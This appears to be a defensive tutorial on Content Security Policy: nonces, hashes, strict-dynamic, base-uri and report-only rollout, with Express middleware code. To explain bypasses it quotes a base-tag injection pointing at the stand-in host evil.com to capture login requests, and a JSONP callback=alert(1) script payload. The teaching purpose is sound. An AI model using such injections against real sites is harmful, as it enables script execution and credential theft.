DOMPurify 3.0.8 had a mutation XSS edge case involving SVG foreign object elements. It was disclosed, patched, and fixed in 3.0.9. But DevForum was running 3.0.8, pinned, with no automated updates. A researcher found the edge case and submitted a payload through the comment form.
The payload passed DOMPurify. It landed in the DOM. It tried to execute.
Nothing happened.
DevForum had deployed a Content Security Policy six months earlier. The CSP did not know the payload was malicious — it just knew the script didn’t have a valid nonce. The browser blocked it before a single line of attacker JavaScript ran. The second line of defence caught what the first missed.
What CSP Actually Does
A Content-Security-Policy response header tells the browser: here is a list of what is permitted to execute, load, or connect on this page. Anything not on the list is refused, regardless of what the HTML says.
The browser enforces this at execution time. Not the server, not a proxy, not a CDN — the browser. After the HTML is parsed, before any resource loads or any script runs, the browser checks the policy. No matching source → no execution.
This is what makes CSP a meaningful second line of defence. Even if an attacker gets a payload into the DOM, they cannot execute it without also being able to bypass the browser’s own enforcement.
Header Anatomy
The policy is a single response header. Its value is a semicolon-separated list of directives, each of which is a directive name followed by a space-separated list of source values.
A few directives deserve extra attention:
default-src 'self' is the fallback. Any resource type not explicitly covered by another directive falls back here. It’s the safety net — set it conservatively.
base-uri 'self' is frequently omitted and frequently exploited. An attacker who can inject <base href="https://evil.com/"> into your page rewrites every relative URL on it. Your /api/login fetch now goes to evil.com/api/login. base-uri 'self' prevents this entirely.
object-src 'none' eliminates the entire plugin execution context. Flash is dead, but <object> and <embed> remain valid HTML. Set this to 'none' and forget about it.
The 'unsafe-inline' Problem
Before covering the right way to allow scripts, it’s worth being explicit about the wrong way.
Adding 'unsafe-inline' to script-src means any inline script on the page may execute — including any inline script an attacker manages to inject. It is the equivalent of no CSP for XSS purposes.
Similarly, 'unsafe-eval' allows eval(), setTimeout(string), and new Function(string). Unless you have a bundler that requires it (some older webpack configs do), this should never appear in a production policy.
How the Browser Evaluates CSP
When a script wants to execute, the browser runs this decision tree:
The check happens at execution time, for every script — inline and external. The browser does not distinguish between “trusted” and “injected” scripts in the HTML. The policy does.
Nonce-Based CSP
A nonce is a random token generated fresh for each HTTP response. It lives in two places simultaneously: the Content-Security-Policy header and the nonce attribute of every <script> tag the server renders. The browser only executes scripts where these two values match.
The key property: an attacker who injects a <script> into the page cannot know the nonce. It was generated on the server for this specific request and will never be reused.
Express middleware that generates and injects the nonce:
import crypto from 'crypto';
function cspMiddleware(req, res, next) {
const nonce = crypto.randomBytes(16).toString('base64url');
res.locals.nonce = nonce;
res.setHeader(
'Content-Security-Policy',
[
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' fonts.googleapis.com",
"img-src 'self' data:",
"connect-src 'self' api.devforum.com",
"base-uri 'self'",
"object-src 'none'",
"form-action 'self'",
"default-src 'self'",
].join('; ')
);
next();
}
Every <script> tag in the server-rendered HTML then includes the nonce:
<script nonce="<%= nonce %>">
// App bootstrap code
</script>
Hash-Based CSP
Instead of a per-request token, you can allowlist a specific script by its SHA-256 content hash. The browser computes the hash of the inline script and checks it against the policy.
Generate the hash for a specific inline script:
If you don’t have openssl available locally, paste the script URL into srihash.org — it fetches the file and generates the hash for you.
The resulting CSP directive:
Content-Security-Policy: script-src 'sha256-K7fGRyPFoB+5wNHikKF2gqrOaSS3OkR9N8dKuivFm4c='
The browser will only execute inline scripts whose content hashes to this exact value. Any character change — including a trailing space or newline — produces a different hash and blocks execution.
Strict CSP vs Domain Allowlists
Most CSP tutorials tell you to list the domains your scripts come from:
Content-Security-Policy: script-src 'self' cdn.jsdelivr.net ajax.googleapis.com
This is almost always bypassable. Here’s why:
JSONP endpoints on allowlisted domains. JSONP turns an arbitrary callback parameter into a script execution primitive. If any endpoint on ajax.googleapis.com accepts a callback parameter, this executes attacker-controlled code:
<script src="https://ajax.googleapis.com/endpoint?callback=alert(1)"></script>
The domain is allowlisted. The script loads. The callback executes.
User-uploaded content on CDNs. If cdn.jsdelivr.net hosts any file an attacker can upload, they control a script at an allowlisted URL.
'strict-dynamic' solves this. When combined with a nonce, it means: scripts that have a valid nonce (trusted by the developer) may load further scripts dynamically. Scripts without a nonce may not execute — even from allowlisted domains. Domain allowlists are ignored when strict-dynamic is present.
Content-Security-Policy: script-src 'nonce-r4nd0mXYZ' 'strict-dynamic'
Your React or Vite bundle loads via a nonce-bearing <script>. It dynamically imports chunks. Those chunks execute because they were loaded by a trusted script. An attacker’s injected <script> — regardless of what domain it points to — has no nonce and is blocked.
<base> tag hijacking. An injected <base href="https://evil.com/"> rewrites all relative URLs before the script loads. ./bundle.js becomes https://evil.com/bundle.js. Without base-uri 'self' in your policy, this bypasses script-src 'self' entirely. This is why base-uri 'self' is not optional.
CSP Strategy Comparison
| Strategy | How it works | SPA compatible? | Bypass resistance | Maintenance |
|---|---|---|---|---|
| Nonce | Per-request random token; only matching <script nonce=x> runs | Yes (requires SSR) | High | Low |
| Hash | SHA-256 of exact content; fails if content changes | Yes (static only) | High | Medium — rehash on change |
| strict-dynamic | Trusted scripts can load further scripts dynamically | Yes | High — domain allowlists ignored | Low |
| Domain allowlist | Listed CDN origins are allowed | Yes | Low — JSONP and open-redirect bypasses | High — maintain list |
Report-Only Mode
The right way to deploy CSP is not to enforce it immediately. Deploy it in shadow mode first, collect violations, fix what breaks, then enforce.
The Content-Security-Policy-Report-Only header runs the full policy evaluation but does not block anything — it only sends violation reports.
Content-Security-Policy-Report-Only: script-src 'nonce-r4nd0mXYZ' 'strict-dynamic'; report-to csp-endpoint
A violation report looks like this:
{
"csp-report": {
"document-uri": "https://devforum.com/articles/123",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"blocked-uri": "inline",
"original-policy": "script-src 'nonce-r4nd0mXYZ' 'strict-dynamic'",
"disposition": "report"
}
}
disposition: "report" means the policy is in report-only mode — nothing was blocked, this is just a notification. blocked-uri: "inline" means an inline script without a matching nonce would have been blocked. violated-directive: "script-src-elem" tells you which directive fired. document-uri tells you which page.
Run report-only for at least one full release cycle before switching to enforcement. Aggregate reports by violated-directive and blocked-uri. Fix every inline script that lacks a nonce. Add nonces to third-party script tags. Then flip to enforcement.
| State | Description | Transitions |
|---|---|---|
| No CSP | No policy header set. All inline scripts execute. No violation data collected. XSS has no second line of defence. |
|
| Report-Only | Content-Security-Policy-Report-Only active. Policy evaluated but nothing blocked. Violation reports collected for every would-be block. |
|
| Enforced | Content-Security-Policy active. Browser blocks violations before execution. Legitimate scripts must have nonces or hashes. |
|
| Broken in prod | Legitimate scripts blocked — users see broken features. Occurs when violations weren't fully resolved before switching to enforcement. |
|
Never enforce a CSP before observing what it would block. Run report-only for a full release cycle, aggregate violations by directive, fix each one, then switch to enforcement.
It disables CSP’s XSS defence completely. Every inline script is allowed — including attacker-injected ones. If inline scripts are breaking, add nonces to them. Do not add ‘unsafe-inline’.
These two directives are almost always correct for any modern app. Omitting base-uri leaves the base-tag hijacking vector open. Omitting object-src leaves the plugin execution context open.
Domain allowlists have JSONP bypass vectors on most CDNs. Nonces do not. strict-dynamic lets your script loader work without maintaining a CDN domain list.
A nonce generated once at server startup and reused across requests is equivalent to a static value. An attacker who observes the nonce once can bypass your policy on every subsequent request.